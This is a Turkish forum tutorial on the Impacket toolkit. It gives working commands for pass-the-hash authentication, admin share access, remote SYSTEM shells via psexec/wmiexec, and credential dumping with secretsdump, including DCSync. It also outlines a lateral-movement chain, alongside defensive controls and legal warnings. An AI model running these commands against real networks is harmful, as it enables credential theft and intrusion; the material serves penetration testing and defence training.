Konuyu Okuyanlar: 2 Ziyaretçi

Impacket Araç Seti: secretsdump, psexec ve smbclient Kullanımı

Impacket Araç Seti: secretsdump, psexec ve smbclient Kullanımı
Selam TurkTeam,

Impacket, ağ protokolleriyle (SMB, MSRPC, NTLM, Kerberos ve daha fazlası) ham düzeyde çalışan Python sınıflarından oluşan bir kütüphanedir. Ama çoğu pentest'çi onu, bu sınıfların üzerine yazılmış hazır betikleriyle (secretsdump, psexec, smbclient, wmiexec...) tanır. Bu araçlar, özellikle Windows/Active Directory ortamlarında kimlik bilgisi toplama ve uzaktan komut çalıştırmanın İsviçre çakısıdır. Bu rehberde Impacket'i kurulumdan temel iş akışına, yalnızca kendi lab ortamınızda uygulamak üzere ele alıyoruz.

Konuda Anlatılacaklar
  1. Impacket nedir, ne işe yarar
  2. Kurulum ve Kali'deki betik isimleri
  3. Kimlik doğrulama söz dizimi (parola ve pass-the-hash)
  4. impacket-smbclient ile paylaşım erişimi
  5. impacket-psexec / wmiexec ile uzaktan komut
  6. impacket-secretsdump ile kimlik bilgisi dökümü
  7. Sonuç, kaynakça ve yasal uyarı

1. Impacket Nedir?
Impacket (SecureAuth/Fortra tarafından sürdürülen açık kaynak proje), ağ protokollerini programatik olarak kullanmayı sağlayan bir Python kütüphanesidir. Pratikte onu güçlü kılan, bu kütüphaneyle yazılmış hazır örnek betiklerdir. Bu betikler bir Windows ağında kimlik doğrulama, dosya erişimi, uzaktan komut çalıştırma ve kimlik bilgisi (hash) çıkarma gibi işleri standartlaştırır. Mavi takım için de değerlidir: saldırganın hangi protokolleri nasıl kullandığını anlamak, tespit kuralı yazmanın temelidir.

2. Kurulum
Kali/Parrot üzerinde Impacket betikleri genellikle hazırdır veya tek paketle gelir:
Kod:
sudo apt update sudo apt install impacket-scripts python3-impacket
Kali'de betikler impacket- önekiyle çağrılır (örn. impacket-secretsdump). Pip ile kurduğunuzda ise doğrudan secretsdump.py biçiminde olur. Kurulumu doğrulamak için:
Kod:
impacket-smbclient -h | head # veya pip kurulumunda secretsdump.py -h | head

3. Kimlik Doğrulama Söz Dizimi
Impacket betiklerinin çoğu ortak bir hedef biçimi kullanır: domain/kullanici:parola@hedef. Çalışma grubu ortamında domain yerine makine/boş bırakılır.

Parola ile:
Kod:
impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120

Parola sormasını istemek (komut geçmişine yazmamak için):
Kod:
impacket-smbclient ornekdomain/[email protected]

Pass-the-hash (parola yerine NTLM hash): -hashes LMHASH:NTHASH biçiminde verilir; LM yoksa boş bırakılıp yalnızca NT kullanılır:
Kod:
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee... ornekdomain/[email protected]
Bu, bir hash ele geçirildiğinde parolayı kırmaya gerek kalmadan kimlik doğrulamayı gösterir; neden hash korumasının kritik olduğunu anlatan iyi bir derstir.

4. impacket-smbclient ile Paylaşım Erişimi
Impacket'in kendi SMB istemcisi, etkileşimli ve betiklenebilir bir arayüz sunar:
Kod:
impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120
Bağlandıktan sonra komutlarla paylaşımları gezebilirsiniz:
Kod:
# shares -> paylaşımları listele # use C$ -> bir paylaşıma geç # ls -> içeriği listele # get gizli.txt -> dosya indir
Bu araç özellikle yönetici kimliğiyle C$ gibi idari paylaşımlara erişimi ve dosya aktarımını kolaylaştırır.
[Resim: attachment.php?aid=150]

5. impacket-psexec ve wmiexec ile Uzaktan Komut
psexec, hedefte geçici bir servis oluşturup SYSTEM yetkisiyle etkileşimli kabuk verir (yerel yönetici kimliği gerekir):
Kod:
impacket-psexec ornekdomain/yonetici:'Parola123'@192.168.56.120
Başarılı olursa bir Windows komut istemi açılır; yetkiyi doğrulamak için:
Kod:
C:\> whoami nt authority\system
psexec servis oluşturduğu için gürültülüdür ve EDR/log tarafında iz bırakır. Daha sessiz bir alternatif wmiexec'tir; WMI üzerinden komut çalıştırır:
Kod:
impacket-wmiexec ornekdomain/yonetici:'Parola123'@192.168.56.120


6. impacket-secretsdump ile Kimlik Bilgisi Dökümü
secretsdump, Windows kimlik sırlarını (SAM yerel hash'leri, LSA sırları ve domain denetleyicisinde NTDS.dit) çıkarır. Uzaktan, yönetici kimliğiyle:
Kod:
impacket-secretsdump ornekdomain/yonetici:'Parola123'@192.168.56.120
Çıktı, kullanıcıların NTLM hash'lerini "kullanici:rid:lmhash:nthash:::" biçiminde listeler. Bu hash'ler pass-the-hash için veya çevrimdışı kırma (John/Hashcat) için kullanılabilir. Çevrimdışı analiz için elinizde SAM ve SYSTEM kovanları varsa:
Kod:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Domain denetleyicisinde DCSync yöntemiyle tüm domain hash'lerinin çekilebilmesi, neden "Domain Admin" yetkisinin tüm ağın anahtarı olduğunu çarpıcı biçimde gösterir.


7. Savunma Perspektifi
Impacket araçları, saldırganın yetkili bir kimlik ele geçirdikten sonra ne kadar hızlı yayılabileceğini gösterir. Savunma için önemli kontroller:
  • En az ayrıcalık ve yerel yönetici ayrımı: LAPS ile her makineye benzersiz yerel yönetici parolası.
  • Kimlik koruma: Credential Guard, LSASS koruması ve güçlü parola politikaları pass-the-hash etkisini sınırlar.
  • Tespit: psexec'in servis oluşturması (Event ID 7045), anormal WMI/SMB kullanımı ve DCSync replikasyon istekleri SIEM'de izlenmelidir.
  • Ağ segmentasyonu: İdari paylaşımlara (C$, ADMIN$) erişimi kısıtlamak yanal hareketi zorlaştırır.

7.1. Impacket'i Bir İş Akışında Düşünmek
Impacket betiklerini tek tek öğrenmek kolaydır; asıl beceri, onları bir saldırı zincirinin mantıklı adımlarına yerleştirmektir. Tipik bir iç ağ senaryosunda sıralama şöyle işler: önce keşif ve bir kimlik (kullanıcı adı + parola ya da hash) elde edersiniz; ardından impacket-smbclient ile bu kimliğin hangi paylaşımlara eriştiğini görürsünüz; yeterli yetki varsa impacket-psexec veya impacket-wmiexec ile uzaktan komut çalıştırıp dayanak noktası kurarsınız; en sonunda impacket-secretsdump ile daha fazla kimlik bilgisi toplar ve bir sonraki makineye yanal hareket edersiniz. Bu döngü (kimlik topla, erişimi genişlet, yeni kimlik topla) modern iç ağ testlerinin özüdür.

Bu araçların en öğretici yanı, parolanın kendisine değil, kimlik doğrulama malzemesine (hash, bilet) dayanmasıdır. Pass-the-hash ile bir NTLM hash'i, parola hiç bilinmeden kimlik doğrulamak için yeterlidir; bu da neden hash'lerin en az parolalar kadar hassas olduğunu gösterir. secretsdump bir makineden hash topladığında, aynı yerel yönetici parolasının birçok makinede tekrar kullanıldığı ortamlarda tek bir hash tüm ağı açabilir. İşte bu yüzden LAPS gibi makine başına benzersiz parola çözümleri kritik bir savunmadır.

Pratik bir uyarı: bu betikler varsayılan yapılandırmalarıyla gürültülüdür ve çoğu kurumsal EDR/SIEM bunları tanır. Bir denetimde amaç sessizce yıkmak değil, savunmanın bu hareketleri görüp göremediğini test etmektir. Bu yüzden her adımı kaydedin, hangi aracın hangi iz bıraktığını not edin ve raporunuzda hem bulduğunuz yanal hareket yollarını hem de tespit boşluklarını birlikte sunun. Böylece Impacket, yalnızca bir saldırı aracı değil, aynı zamanda savunmayı ölçen bir mihenk taşı hâline gelir.

Sonuç
Impacket, Windows/AD ortamlarında kimlik doğrulama, dosya erişimi, uzaktan komut ve kimlik bilgisi dökümünü tek tutarlı çatı altında toplar. secretsdump, psexec ve smbclient üçlüsünü anlamak, hem kırmızı takımda yanal hareketi hem de mavi takımda tespiti kavramak için temeldir. Tüm bu araçları yalnızca kendi lab'ınızda veya yazılı izinli testlerde kullanın.

Kaynakça
Yasal Uyarı
Alıntı:Impacket araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız ağlarda kullanılmalıdır. İzinsiz kimlik bilgisi dökümü ve uzaktan komut çalıştırma Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur.

Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).


Ek DosyalarEkran Görüntüleri
   
Cevapla



Hızlı Menü: